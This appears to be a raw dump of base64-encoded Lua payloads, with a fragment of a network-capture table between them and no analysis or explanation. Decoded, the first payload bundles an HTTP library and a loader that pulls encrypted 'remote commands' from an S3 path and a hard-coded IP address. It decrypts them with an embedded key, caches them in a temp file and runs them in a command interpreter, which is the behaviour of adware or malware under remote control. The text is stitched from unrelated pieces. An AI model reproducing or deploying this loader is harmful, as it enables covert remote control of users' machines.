YXVsdCIsZSx0CmVuZApsb2NhbCBhPWFbZSBvciJuaWwiXQppZiBub3QgYSB0aGVuCm8uZXJyb3Io
InVua25vd24ga2V5ICgiLi5vLnRvc3RyaW5nKGUpLi4iKSIsMykKZWxzZSByZXR1cm4gYSh0LGkp
ZW5kCmVuZAplbmQKZW5jb2RldFsnYmFzZTY0J109ZnVuY3Rpb24oKQpyZXR1cm4gZS5maWx0ZXIu
Y3ljbGUoYjY0LCIiKQplbmQKZW5jb2RldFsncXVvdGVkLXByaW50YWJsZSddPWZ1bmN0aW9uKHQp
CnJldHVybiBlLmZpbHRlci5jeWNsZShxcCwiIiwKKHQ9PSJiaW5hcnkiKWFuZCI9MEQ9MEEib3Ii
XHJcbiIpCmVuZApkZWNvZGV0WydiYXNlNjQnXT1mdW5jdGlvbigpCnJldHVybiBlLmZpbHRlci5j
eWNsZSh1bmI2NCwiIikKZW5kCmRlY29kZXRbJ3F1b3RlZC1wcmludGFibGUnXT1mdW5jdGlvbigp
CnJldHVybiBlLmZpbHRlci5jeWNsZSh1bnFwLCIiKQplbmQKbG9jYWwgZnVuY3Rpb24gdChlKQpp
ZiBlIHRoZW4KaWYgZT09IiJ0aGVuIHJldHVybiInJyIKZWxzZSByZXR1cm4gbi5sZW4oZSllbmQK
ZWxzZSByZXR1cm4ibmlsImVuZAplbmQKd3JhcHRbJ3RleHQnXT1mdW5jdGlvbih0KQp0PXQgb3Ig
NzYKcmV0dXJuIGUuZmlsdGVyLmN5Y2xlKHdycCx0LHQpCmVuZAp3cmFwdFsnYmFzZTY0J109d3Jh
cHRbJ3RleHQnXQp3cmFwdFsnZGVmYXVsdCddPXdyYXB0Wyd0ZXh0J10Kd3JhcHRbJ3F1b3RlZC1w
cmludGFibGUnXT1mdW5jdGlvbigpCnJldHVybiBlLmZpbHRlci5jeWNsZShxcHdycCw3Niw3NikK
ZW5kCmVuY29kZT1hKGVuY29kZXQpCmRlY29kZT1hKGRlY29kZXQpCndyYXA9YSh3cmFwdCkKZnVu
Y3Rpb24gbm9ybWFsaXplKHQpCnJldHVybiBlLmZpbHRlci5jeWNsZShlb2wsMCx0KQplbmQKZnVu
Y3Rpb24gc3R1ZmYoKQpyZXR1cm4gZS5maWx0ZXIuY3ljbGUoZG90LDIpCmVuZAplbmQpCnBhY2th
Z2UucHJlbG9hZFsnc29ja2V0Lmh0dHAnXT0oZnVuY3Rpb24oLi4uKQpsb2NhbCB0PXJlcXVpcmUo
InNvY2tldCIpCmxvY2FsIGg9cmVxdWlyZSgic29ja2V0LnVybCIpCmxvY2FsIGk9cmVxdWlyZSgi
bHRuMTIiKQpsb2NhbCBsPXJlcXVpcmUoIm1pbWUiKQpsb2NhbCBvPXJlcXVpcmUoInN0cmluZyIp
CmxvY2FsIGE9X0cKbG9jYWwgZD1yZXF1aXJlKCJ0YWJsZSIpCm1vZHVsZSgic29ja2V0Lmh0dHAi
KQpUSU1FT1VUPTYwClBPUlQ9ODAKVVNFUkFHRU5UPXQuX1ZFUlNJT04KbG9jYWwgZnVuY3Rpb24g
cihoLGkpCmxvY2FsIG4sYSxzLGUKaT1pIG9ye30KbixlPWg6cmVjZWl2ZSgpCmlmIGUgdGhlbiBy
ZXR1cm4gbmlsLGUgZW5kCndoaWxlIG5+PSIiZG8KYSxzPXQuc2tpcCgyLG8uZmluZChuLCJeKC4t
KTolcyooLiopIikpCmlmIG5vdChhIGFuZCBzKXRoZW4gcmV0dXJuIG5pbCwibWFsZm9ybWVkIHJl
cG9uc2UgaGVhZGVycyJlbmQKYT1vLmxvd2VyKGEpCm4sZT1oOnJlY2VpdmUoKQppZiBlIHRoZW4g
cmV0dXJuIG5pbCxlIGVuZAp3aGlsZSBvLmZpbmQobiwiXiVzIilkbwpzPXMuLm4Kbj1oOnJlY2Vp
dmUoKQppZiBlIHRoZW4gcmV0dXJuIG5pbCxlIGVuZAplbmQKaWYgaVthXXRoZW4gaVthXT1pW2Fd
Li4iLCAiLi5zCmVsc2UgaVthXT1zIGVuZAplbmQKcmV0dXJuIGkKZW5kCnQuc291cmNldFsiaHR0
cC1jaHVua2VkIl09ZnVuY3Rpb24oZSxpKQpyZXR1cm4gYS5zZXRtZXRhdGFibGUoewpnZXRmZD1m
dW5jdGlvbigpcmV0dXJuIGU6Z2V0ZmQoKWVuZCwKZGlydHk9ZnVuY3Rpb24oKXJldHVybiBlOmRp
cnR5KCllbmQKfSx7Cl9fY2FsbD1mdW5jdGlvbigpCmxvY2FsIG4sdD1lOnJlY2VpdmUoKQppZiB0
IHRoZW4gcmV0dXJuIG5pbCx0IGVuZApsb2NhbCBhPWEudG9udW1iZXIoby5nc3ViKG4sIjsuKiIs
IiIpLDE2KQppZiBub3QgYSB0aGVuIHJldHVybiBuaWwsImludmFsaWQgY2h1bmsgc2l6ZSJlbmQK
aWYgYT4wIHRoZW4KbG9jYWwgdCxhLG89ZTpyZWNlaXZlKGEpCmlmIHQgdGhlbiBlOnJlY2VpdmUo
KWVuZApyZXR1cm4gdCxhCmVsc2UKaSx0PXIoZSxpKQppZiBub3QgaSB0aGVuIHJldHVybiBuaWws
dCBlbmQKZW5kCmVuZAp9KQplbmQKdC5zaW5rdFsiaHR0cC1jaHVua2VkIl09ZnVuY3Rpb24oZSkK
cmV0dXJuIGEuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiBlOmdldGZkKCll
bmQsCmRpcnR5PWZ1bmN0aW9uKClyZXR1cm4gZTpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rp
b24oYSx0LGEpCmlmIG5vdCB0IHRoZW4gcmV0dXJuIGU6c2VuZCgiMFxyXG5cclxuIillbmQKbG9j
YWwgYT1vLmZvcm1hdCgiJVhcclxuIixvLmxlbih0KSkKcmV0dXJuIGU6c2VuZChhLi50Li4iXHJc
biIpCmVuZAp9KQplbmQKbG9jYWwgZT17X19pbmRleD17fX0KZnVuY3Rpb24gb3BlbihpLG4sbykK
bG9jYWwgbz10LnRyeSgobyBvciB0LnRjcCkoKSkKbG9jYWwgZT1hLnNldG1ldGF0YWJsZSh7Yz1v
fSxlKQplLnRyeT10Lm5ld3RyeShmdW5jdGlvbigpZTpjbG9zZSgpZW5kKQplLnRyeShvOnNldHRp
bWVvdXQoVElNRU9VVCkpCmUudHJ5KG86Y29ubmVjdChpLG4gb3IgUE9SVCkpCnJldHVybiBlCmVu
ZApmdW5jdGlvbiBlLl9faW5kZXg6c2VuZHJlcXVlc3RsaW5lKGUsdCkKbG9jYWwgZT1vLmZvcm1h
dCgiJXMgJXMgSFRUUC8xLjFcclxuIixlIG9yIkdFVCIsdCkKcmV0dXJuIHNlbGYudHJ5KHNlbGYu
YzpzZW5kKGUpKQplbmQKZnVuY3Rpb24gZS5fX2luZGV4OnNlbmRoZWFkZXJzKHQpCmxvY2FsIGU9
IlxyXG4iCmZvciB0LGEgaW4gYS5wYWlycyh0KWRvCmU9dC4uIjogIi4uYS4uIlxyXG4iLi5lCmVu
ZApzZWxmLnRyeShzZWxmLmM6c2VuZChlKSkKcmV0dXJuIDEKZW5kCmZ1bmN0aW9uIGUuX19pbmRl
eDpzZW5kYm9keShuLGUsYSkKZT1lIG9yIGkuc291cmNlLmVtcHR5KCkKYT1hIG9yIGkucHVtcC5z
dGVwCmxvY2FsIG89Imh0dHAtY2h1bmtlZCIKaWYgblsiY29udGVudC1sZW5ndGgiXXRoZW4gbz0i
a2VlcC1vcGVuImVuZApyZXR1cm4gc2VsZi50cnkoaS5wdW1wLmFsbChlLHQuc2luayhvLHNlbGYu
YyksYSkpCmVuZApmdW5jdGlvbiBlLl9faW5kZXg6cmVjZWl2ZXN0YXR1c2xpbmUoKQpsb2NhbCBl
PXNlbGYudHJ5KHNlbGYuYzpyZWNlaXZlKDUpKQppZiBlfj0iSFRUUC8idGhlbiByZXR1cm4gbmls
LGUgZW5kCmU9c2VsZi50cnkoc2VsZi5jOnJlY2VpdmUoIipsIixlKSkKbG9jYWwgdD10LnNraXAo
MixvLmZpbmQoZSwiSFRUUC8lZColLiVkKiAoJWQlZCVkKSIpKQpyZXR1cm4gc2VsZi50cnkoYS50
b251bWJlcih0KSxlKQplbmQKZnVuY3Rpb24gZS5fX2luZGV4OnJlY2VpdmVoZWFkZXJzKCkKcmV0
dXJuIHNlbGYudHJ5KHIoc2VsZi5jKSkKZW5kCmZ1bmN0aW9uIGUuX19pbmRleDpyZWNlaXZlYm9k
eShuLHMsZSkKcz1zIG9yIGkuc2luay5udWxsKCkKZT1lIG9yIGkucHVtcC5zdGVwCmxvY2FsIHI9
YS50b251bWJlcihuWyJjb250ZW50LWxlbmd0aCJdKQpsb2NhbCBoPW5bInRyYW5zZmVyLWVuY29k
aW5nIl0KbG9jYWwgbz0iZGVmYXVsdCIKaWYgaCBhbmQgaH49ImlkZW50aXR5InRoZW4gbz0iaHR0
cC1jaHVua2VkIgplbHNlaWYgYS50b251bWJlcihuWyJjb250ZW50LWxlbmd0aCJdKXRoZW4gbz0i
YnktbGVuZ3RoImVuZApyZXR1cm4gc2VsZi50cnkoaS5wdW1wLmFsbCh0LnNvdXJjZShvLHNlbGYu
YyxyKSwKcyxlKSkKZW5kCmZ1bmN0aW9uIGUuX19pbmRleDpyZWNlaXZlMDlib2R5KG4sbyxhKQps
b2NhbCBlPWkuc291cmNlLnJld2luZCh0LnNvdXJjZSgidW50aWwtY2xvc2VkIixzZWxmLmMpKQpl
KG4pCnJldHVybiBzZWxmLnRyeShpLnB1bXAuYWxsKGUsbyxhKSkKZW5kCmZ1bmN0aW9uIGUuX19p
bmRleDpjbG9zZSgpCnJldHVybiBzZWxmLmM6Y2xvc2UoKQplbmQKbG9jYWwgZnVuY3Rpb24gbihl
KQpsb2NhbCBhPWUKaWYgbm90IGUucHJveHkgYW5kIG5vdCBQUk9YWSB0aGVuCmE9ewpwYXRoPXQu
dHJ5KGUucGF0aCwiaW52YWxpZCBwYXRoICduaWwnIiksCnBhcmFtcz1lLnBhcmFtcywKcXVlcnk9
ZS5xdWVyeSwKZnJhZ21lbnQ9ZS5mcmFnbWVudAp9CmVuZApyZXR1cm4gaC5idWlsZChhKQplbmQK
bG9jYWwgZnVuY3Rpb24gcyh0KQpsb2NhbCBlPXQucHJveHkgb3IgUFJPWFkKaWYgZSB0aGVuCmU9
aC5wYXJzZShlKQpyZXR1cm4gZS5ob3N0LGUucG9ydCBvciAzMTI4CmVsc2UKcmV0dXJuIHQuaG9z
dCx0LnBvcnQKZW5kCmVuZApsb2NhbCBmdW5jdGlvbiByKGUpCmxvY2FsIHQ9ewpbInVzZXItYWdl
bnQiXT1VU0VSQUdFTlQsClsiaG9zdCJdPWUuaG9zdCwKWyJjb25uZWN0aW9uIl09ImNsb3NlLCBU
RSIsClsidGUiXT0idHJhaWxlcnMiCn0KaWYgZS51c2VyIGFuZCBlLnBhc3N3b3JkIHRoZW4KdFsi
YXV0aG9yaXphdGlvbiJdPQoiQmFzaWMgIi4uKGwuYjY0KGUudXNlci4uIjoiLi5lLnBhc3N3b3Jk
KSkKZW5kCmZvciBhLGUgaW4gYS5wYWlycyhlLmhlYWRlcnMgb3IgdClkbwp0W28ubG93ZXIoYSld
PWUKZW5kCnJldHVybiB0CmVuZApsb2NhbCBlPXsKaG9zdD0iIiwKcG9ydD1QT1JULApwYXRoPSIv
IiwKc2NoZW1lPSJodHRwIgp9CmxvY2FsIGZ1bmN0aW9uIHUobykKbG9jYWwgZT1vLnVybCBhbmQg
aC5wYXJzZShvLnVybCxlKW9ye30KZm9yIHQsYSBpbiBhLnBhaXJzKG8pZG8gZVt0XT1hIGVuZApp
ZiBlLnBvcnQ9PSIidGhlbiBlLnBvcnQ9ODAgZW5kCnQudHJ5KGUuaG9zdCBhbmQgZS5ob3N0fj0i
IiwKImludmFsaWQgaG9zdCAnIi4uYS50b3N0cmluZyhlLmhvc3QpLi4iJyIpCmUudXJpPW8udXJp
IG9yIG4oZSkKZS5ob3N0LGUucG9ydD1zKGUpCmUuaGVhZGVycz1yKGUpCnJldHVybiBlCmVuZAps
b2NhbCBmdW5jdGlvbiBsKGUsYSx0KQpyZXR1cm4gdC5sb2NhdGlvbiBhbmQKby5nc3ViKHQubG9j
YXRpb24sIiVzIiwiIil+PSIiYW5kCihlLnJlZGlyZWN0fj1mYWxzZSlhbmQKKGE9PTMwMSBvciBh
PT0zMDIpYW5kCihub3QgZS5tZXRob2Qgb3IgZS5tZXRob2Q9PSJHRVQib3IgZS5tZXRob2Q9PSJI
RUFEIikKYW5kKG5vdCBlLm5yZWRpcmVjdHMgb3IgZS5ucmVkaXJlY3RzPDUpCmVuZApsb2NhbCBm
dW5jdGlvbiByKHQsZSkKaWYgdC5tZXRob2Q9PSJIRUFEInRoZW4gcmV0dXJuIG5pbCBlbmQKaWYg
ZT09MjA0IG9yIGU9PTMwNCB0aGVuIHJldHVybiBuaWwgZW5kCmlmIGU+PTEwMCBhbmQgZTwyMDAg
dGhlbiByZXR1cm4gbmlsIGVuZApyZXR1cm4gMQplbmQKbG9jYWwgbixzCmZ1bmN0aW9uIHMoZSx0
KQpsb2NhbCBpLGEsZSxvPW57CnVybD1oLmFic29sdXRlKGUudXJsLHQpLApzb3VyY2U9ZS5zb3Vy
Y2UsCnNpbms9ZS5zaW5rLApoZWFkZXJzPWUuaGVhZGVycywKcHJveHk9ZS5wcm94eSwKbnJlZGly
ZWN0cz0oZS5ucmVkaXJlY3RzIG9yIDApKzEsCmNyZWF0ZT1lLmNyZWF0ZQp9CmU9ZSBvcnt9CmUu
bG9jYXRpb249ZS5sb2NhdGlvbiBvciB0CnJldHVybiBpLGEsZSxvCmVuZApmdW5jdGlvbiBuKG4p
CmxvY2FsIGU9dShuKQpsb2NhbCB0PW9wZW4oZS5ob3N0LGUucG9ydCxlLmNyZWF0ZSkKdDpzZW5k
cmVxdWVzdGxpbmUoZS5tZXRob2QsZS51cmkpCnQ6c2VuZGhlYWRlcnMoZS5oZWFkZXJzKQppZiBl
LnNvdXJjZSB0aGVuCnQ6c2VuZGJvZHkoZS5oZWFkZXJzLGUuc291cmNlLGUuc3RlcCkKZW5kCmxv
Y2FsIGEsaT10OnJlY2VpdmVzdGF0dXNsaW5lKCkKaWYgbm90IGEgdGhlbgp0OnJlY2VpdmUwOWJv
ZHkoaSxlLnNpbmssZS5zdGVwKQpyZXR1cm4gMSwyMDAKZW5kCmxvY2FsIG8Kd2hpbGUgYT09MTAw
IGRvCm89dDpyZWNlaXZlaGVhZGVycygpCmEsaT10OnJlY2VpdmVzdGF0dXNsaW5lKCkKZW5kCm89
dDpyZWNlaXZlaGVhZGVycygpCmlmIGwoZSxhLG8pYW5kIG5vdCBlLnNvdXJjZSB0aGVuCnQ6Y2xv
c2UoKQpyZXR1cm4gcyhuLG8ubG9jYXRpb24pCmVuZAppZiByKGUsYSl0aGVuCnQ6cmVjZWl2ZWJv
ZHkobyxlLnNpbmssZS5zdGVwKQplbmQKdDpjbG9zZSgpCnJldHVybiAxLGEsbyxpCmVuZApsb2Nh
bCBmdW5jdGlvbiBoKGUsYSkKbG9jYWwgcz17fQpsb2NhbCBlPXsKdXJsPWUsCnNpbms9aS5zaW5r
LnRhYmxlKHMpCn0KaWYgYSB0aGVuCmUuc291cmNlPWkuc291cmNlLnN0cmluZyhhKQplLmhlYWRl
cnM9ewpbImNvbnRlbnQtbGVuZ3RoIl09by5sZW4oYSksClsiY29udGVudC10eXBlIl09ImFwcGxp
Y2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIKfQplLm1ldGhvZD0iUE9TVCIKZW5kCmxvY2Fs
IGUsYSx0PXQuc2tpcCgxLG4oZSkpCnJldHVybiBkLmNvbmNhdChzKSxlLGEsdAplbmQKcmVxdWVz
dD10LnByb3RlY3QoZnVuY3Rpb24oZSx0KQppZiBhLnR5cGUoZSk9PSJzdHJpbmcidGhlbiByZXR1
cm4gaChlLHQpCmVsc2UgcmV0dXJuIG4oZSllbmQKZW5kKQplbmQpCmxvY2FsIGU9cmVxdWlyZSgi
c29ja2V0Lmh0dHAiKTsKbG9jYWwgZT1yZXF1aXJlKCJjb21tb24iKTsKSlNPTj1yZXF1aXJlKCJK
U09OIik7CmU9ZS5uZXcoKTsKbG9jYWwgdD0oR2V0VXNlckd1aWQpYW5kIEdldFVzZXJHdWlkKClv
ciIiOwp0PXN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVzLSVzIix0OnN1YigxLDgpLHQ6c3ViKDks
MTIpLHQ6c3ViKDEzLDE2KSx0OnN1YigxNywyMCksdDpzdWIoMjEpKTsKbG9jYWwgaT0oQ2hlY2tB
cmcpYW5kIENoZWNrQXJnKCJzb3VyY2UiKW9yIiI7CmxvY2FsIGE9KENoZWNrQXJnKWFuZCBDaGVj
a0FyZygib3B0aW9ucyIpb3IiIjsKbG9jYWwgcz0oYTpzdWIoNSw1KT09IjEiKWFuZCJwcm9kdWN0
aW9uIm9yImRldmVsb3BtZW50IjsKbG9jYWwgbz0oYX49IiIpYW5kIHN0cmluZy5mb3JtYXQoIiVz
IixhOnN1Yig4LDEwKSlvciI5OTkiOwpsb2NhbCBjPXRydWU7CmxvY2FsIG49IiI7CmxvY2FsIG89
c3RyaW5nLmZvcm1hdCgiaHR0cDovL3MzLmFtYXpvbmF3cy5jb20vY2RuLmFkcGsuY29tLyVzLyVz
L2NvbW1hbmRzLmRhdD9nPSVzJnM9JXMiLG8sYTpzdWIoNSw1KSxzdHJpbmcudXBwZXIodCksaSk7
CmxvY2FsIG49b3MudGltZSgpLTcwMDsKbG9jYWwgYT0iNmM2MTcxNzU2MTZlNjQ2MTc3NjE3NDZi
Njk2ZTczNzI2NTZkNmY3NDY1NjQ2MjBhIjsKbG9jYWwgaD0iMSI7CmxvY2FsIHQ9c3RyaW5nLmZv
cm1hdCgiaHR0cDovLzU0LjIyMS4xMzIuMjIwL2V1Lmpzb24/Zz0lcyZzPSVzIixzdHJpbmcudXBw
ZXIodCksaSk7CmlmIEdldFRpbWVMYXN0Q21kfj1uaWwgdGhlbgpuPUdldFRpbWVMYXN0Q21kKCk7
CmlmIG49PTAgdGhlbgpTZXRUaW1lTGFzdENtZChvcy50aW1lKCkpOwplbmQKZW5kCmUuZGVidWco
c3RyaW5nLmZvcm1hdCgiPT09PT09PT09PT09PT09PT09PT09PT09PSBWRVJTSU9OICVzICVzICVz
ID09PT09PT09PT09PT09PT09PT09PT09PT0iLEdldFZlcnNpb24oKSxzLG9zLnRpbWUoKS1uKSk7
CmZ1bmN0aW9uIEpTT046b25EZWNvZGVFcnJvcihhLHQsbyxpKQplLmRlYnVnKHN0cmluZy5mb3Jt
YXQoIkpTT04gRGVjb2RlIEVycm9yIE1lc3NhZ2U6ICVzICVzICVzIixhLG8sdCkpOwplbmQKaWYo
b3MudGltZSgpLW4pPjYwMCB0aGVuCmxvY2FsIGksdD1lLmdldGJ5aHR0cCh0KTsKaWYgU2V0VGlt
ZUxhc3RDbWR+PW5pbCB0aGVuClNldFRpbWVMYXN0Q21kKG9zLnRpbWUoKSk7CmVuZAppZiBzdHJp
bmcuZmluZCh0LCJodG1sIilvciBzdHJpbmcuZmluZCh0LCJzdGF0dXMiKW9yIHQ9PW5pbCBvciB0
PT0iInRoZW4KaSxzUmVtb3RlREI9ZS5nZXRieWh0dHAobyk7CmlmIHNSZW1vdGVEQn49bmlsIHRo
ZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgKCVzKSByZXRyaWV2ZWQg
ZnJvbSAlcyBzdWNjZXNzZnVsbHkiLCNzUmVtb3RlREIsbykpOwpzUmVtb3RlREI9KEVuY3J5cHQp
YW5kIEVuY3J5cHQoc1JlbW90ZURCLGEpb3IgZS5lbmNyeXB0KHNSZW1vdGVEQixhKTsKbG9jYWwg
ZT1KU09OOmRlY29kZShzUmVtb3RlREIpOwpyZW1vdGVkYl9qc29uPWU7CmVsc2UKZS5kZWJ1Zyhz
dHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gJXMgdW5zdWNjZXNz
ZnVsbHkiLG8pKTsKZW5kCmVsc2UKaWYgc1JlbW90ZURCPT1uaWwgdGhlbgpyZXR1cm4gZmFsc2U7
CmVsc2UKc1JlbW90ZURCPShFbmNyeXB0KWFuZCBFbmNyeXB0KHNSZW1vdGVEQixhKW9yIGUuZW5j
cnlwdChzUmVtb3RlREIsYSk7CmxvY2FsIHQ9SlNPTjpkZWNvZGUoc1JlbW90ZURCKTsKcmVtb3Rl
ZGJfanNvbj10OwplLmRlYnVnKCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gZXhjZXB0
aW9ucyBzdWNjZXNzZnVsbHkiKTsKZW5kCmVuZAplbmQKbG9jYWwgdDsKaWYgR2V0Q29tbWFuZHN+
PW5pbCB0aGVuCnQ9R2V0Q29tbWFuZHMoKTsKZWxzZQp0PWUucmVhZGZpbGUoc3RyaW5nLmZvcm1h
dCgiJXNscXdkYi5kYXQiLGUudGVtcHBhdGgoKSkpOwplbmQKbG9jYWwgYT0iIjsKaWYgdH49bmls
IHRoZW4KdD0oRW5jcnlwdClhbmQgRW5jcnlwdCh0LCJsYXF1YW5kYSB3YXRraW5zIilvciBlLmVu
Y3J5cHQodCwibGFxdWFuZGEgd2F0a2lucyIpOwphPUpTT046ZGVjb2RlKHQpOwplbHNlCmE9cmVt
b3RlZGJfanNvbjsKZW5kCmlmIHQ9PW5pbCB0aGVuCmlmIHR5cGUoYSk9PSJ0YWJsZSJ0aGVuCmUu
c2F2ZWRiKEpTT046ZW5jb2RlKGEpKTsKZWxzZQpyZXR1cm4gZmFsc2U7CmVuZAplbmQKbG9jYWwg
aT17fTsKaWYgYX49bmlsIGFuZCByZW1vdGVkYl9qc29ufj1uaWwgdGhlbgpmb3IgdCxlIGluIHBh
aXJzKGEpZG8KbG9jYWwgYT1mYWxzZTsKZm9yIG8sdCBpbiBwYWlycyhyZW1vdGVkYl9qc29uKWRv
CmlmIGVbImhhc2giXT09dFsiaGFzaCJddGhlbgpsb2NhbCBvPShlWyJyZXN1bHQiXX49bmlsKWFu
ZCBlWyJyZXN1bHQiXW9yIG5pbDsKaWYgZVsiZGF0ZSJdfj1uaWwgdGhlbgpsb2NhbCBhPWVbImRh
dGUiXTsKbG9jYWwgaT1lWyJzdGF0dXMiXTsKZT10OwplWyJzdGF0dXMiXT1pOwplWyJkYXRlIl09
YTsKZVsicmVzdWx0Il09bzsKZWxzZQplPXQ7CmVbInJlc3VsdCJdPW87CmVuZAphPXRydWU7CmVu
ZAplbmQKaWYgYSB0aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmZvciB0LGUgaW4gcGFp
cnMocmVtb3RlZGJfanNvbilkbwpsb2NhbCB0PWZhbHNlOwpmb3IgbyxhIGluIHBhaXJzKGEpZG8K
aWYgZVsiaGFzaCJdPT1hWyJoYXNoIl10aGVuCnQ9dHJ1ZTsKZW5kCmVuZAppZiB0PT1mYWxzZSB0
aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmE9ZS5zaGFsbG93Y29weShpKTsKaT17fTsK
ZW5kCnRhYmxlLnNvcnQoYSxmdW5jdGlvbih0LGUpcmV0dXJuIHRvbnVtYmVyKHQub3JkZXIpPHRv
bnVtYmVyKGUub3JkZXIpO2VuZCk7CmxvY2FsIHI9dHJ1ZTsKbG9jYWwgaD10cnVlOwpsb2NhbCBk
PWZhbHNlOwpsb2NhbCBsPXt9Owpsb2NhbCBvPTA7CmxvY2FsIHM9e307CmZ1bmN0aW9uIGRvR290
byhlLHQpCmZvciBhLGUgaW4gcGFpcnMoYSlkbwppZiB0PD10b251bWJlcihlWyJvcmRlciJdKXRo
ZW4KZVsic3RhdHVzIl09IjAiOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT1uaWw7
CmVsc2VpZiB0PnRvbnVtYmVyKGVbIm9yZGVyIl0pdGhlbgplWyJzdGF0dXMiXT0iMSI7CmVbImRh
dGUiXT1vcy50aW1lKCk7CmVuZAplbmQKZW5kCndoaWxlKGgpZG8KaT17fTsKaD1mYWxzZTsKZm9y
IHUsdCBpbiBwYWlycyhhKWRvCmlmIG8+MCB0aGVuCmRvR290byhhLG8pOwppZiBvPT10b251bWJl
cih0WyJvcmRlciJdKXRoZW4Kbz0wOwplbHNlCnRbInN0YXR1cyJdPSIxIjsKZW5kCmVuZApsb2Nh
bCB1PSh0WyJzdGF0dXMiXX49bmlsKWFuZCB0WyJzdGF0dXMiXW9yIjAiOwplLmRlYnVnKHN0cmlu
Zy5mb3JtYXQoIiMlcy0lcy4gJXMgJXMgU3RhdHVzOiAlcyBMb29wOiAlcyBHbzogJXMiLHRbIm9y
ZGVyIl0sbyx0WyJ0eHRjbWQiXSx0WyJ0eHRkbyJdLHUsdG9zdHJpbmcociksdG9zdHJpbmcoaCkp
KTsKaWYgdT09IjAiYW5kIHIgdGhlbgplLmRlYnVnKCJJbnNpZGUgTWFpbiBMb29wIik7CmlmIHRb
InR4dGRvIl09PSJHb3RvInRoZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJHb3RvIGNvbW1hbmQ6
ICVzIix0WyJ0eHRXaGF0Il0pKTsKbG9jYWwgZT10b251bWJlcih0WyJ0eHRXaGF0Il0pOwppZiBl
PjAgdGhlbgpkb0dvdG8oYSxlKTsKZG9Hb3RvKGksZSk7Cm89ZTsKZW5kCmVsc2UKZS5zZXRyZXN1
bHRzKGwpOwp0LGQ9ZS5jb21tYW5kKHQpOwppZiB0WyJ0eHRjbWQiXT09IklmInRoZW4KaWYgdFsi
dHh0V2hhdFRoZW4iXT09IkdvdG8ib3IgdFsidHh0V2hhdEVsc2UiXT09IkdvdG8idGhlbgpsb2Nh
bCBuPWUuc3BsaXQodFsidHh0R290byJdLCIsIik7CmxvY2FsIHM9KG5bMV1+PW5pbClhbmQgdG9u
dW1iZXIoblsxXSlvciAwOwpsb2NhbCBuPShuWzJdfj1uaWwpYW5kIHRvbnVtYmVyKG5bMl0pb3Ig
MDsKbG9jYWwgdD0odFsicmVzdWx0Il09PSIxIilhbmQgcyBvciBuOwppZiB0PjAgdGhlbgplLmRl
YnVnKHN0cmluZy5mb3JtYXQoIkdvdG8gQ29tbWFuZDogIyVzIix0KSk7CmRvR290byhhLHQpOwpk
b0dvdG8oaSx0KTsKbz10OwplbmQKZW5kCmVuZAplbmQKaWYgZD09dHJ1ZSB0aGVuCmQ9ZmFsc2U7
CnI9dHJ1ZTsKZWxzZQpyPWZhbHNlOwplbmQKZW5kCmlmIHRbInJlc3VsdCJdfj1uaWwgdGhlbgps
W3RbIm9yZGVyIl1dPXRbInJlc3VsdCJdOwplbHNlCmxbdFsib3JkZXIiXV09IiI7CmVuZAppZiBv
PjAgdGhlbgpoPXRydWU7CnNbb109KHNbb10pYW5kIHNbb10rMSBvciAxOwppZiBzW29dPjIwIHRo
ZW4Kbj1uLTk5OTk5OwplLmRlYnVnKHN0cmluZy5mb3JtYXQoIkxvb3AgT3ZlcmZsb3c6ICVzICVz
ICVzOiVzIixvcy50aW1lKCksbixvLHNbb10pKTsKU2V0VGltZUxhc3RDbWQoMCk7CmJyZWFrOwpl
bmQKZW5kCnRhYmxlLmluc2VydChpLHQpOwplbmQKaWYgR2V0VGltZUxhc3RDbWQgdGhlbgppZiBo
IGFuZCBHZXRUaW1lTGFzdENtZCgpPjAgdGhlbgpyPXRydWU7CmVuZAplbmQKZS5zYXZlZGIoSlNP
TjplbmNvZGUoaSkpOwphPWUuc2hhbGxvd2NvcHkoaSk7CmVuZApyZXR1cm4gYzs=
|
d271zaccbgpi7o.cloudfront.net (54.192.46.165:80) | ||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
ID | URI | RESPONSE TYPE | FILENAME | RESPONSE CODE | MAGIC | SIZE | TIME | |||||||||||||||
16 | /v2/tfn5306351516.html(15) | text/html | tfn5306351516.html(15) | 200 OK | TEXT | 46.2 KB | 10/25/13 09:50:53 | |||||||||||||||
IyEvdXNyL2Jpbi9lbnYgbHVhCnBhY2thZ2UucHJlbG9hZFsnSlNPTiddPShmdW5jdGlvbiguLi4p
CmxvY2FsIGU9MjAxNDA0MTguMTEKbG9jYWwgdD17VkVSU0lPTj1lfQpsb2NhbCBlPSItWyBKU09O
Lmx1YSBwYWNrYWdlIGJ5IEplZmZyZXkgRnJpZWRsIChodHRwOi8vcmVnZXguaW5mby9ibG9nL2x1
YS9qc29uKSwgdmVyc2lvbiAiLi50b3N0cmluZyhlKS4uIiBdLSIKbG9jYWwgYT17X190b3N0cmlu
Zz1mdW5jdGlvbigpcmV0dXJuIkpTT04gYXJyYXkiZW5kfWEuX19pbmRleD1hCmxvY2FsIGU9e19f
dG9zdHJpbmc9ZnVuY3Rpb24oKXJldHVybiJKU09OIG9iamVjdCJlbmR9ZS5fX2luZGV4PWUKZnVu
Y3Rpb24gdDpuZXdBcnJheShlKQpyZXR1cm4gc2V0bWV0YXRhYmxlKGUgb3J7fSxhKQplbmQKZnVu
Y3Rpb24gdDpuZXdPYmplY3QodCkKcmV0dXJuIHNldG1ldGF0YWJsZSh0IG9ye30sZSkKZW5kCmxv
Y2FsIGZ1bmN0aW9uIHIoZSkKaWYgZTw9MTI3IHRoZW4KcmV0dXJuIHN0cmluZy5jaGFyKGUpCmVs
c2VpZiBlPD0yMDQ3IHRoZW4KbG9jYWwgdD1tYXRoLmZsb29yKGUvNjQpCmxvY2FsIGU9ZS0oNjQq
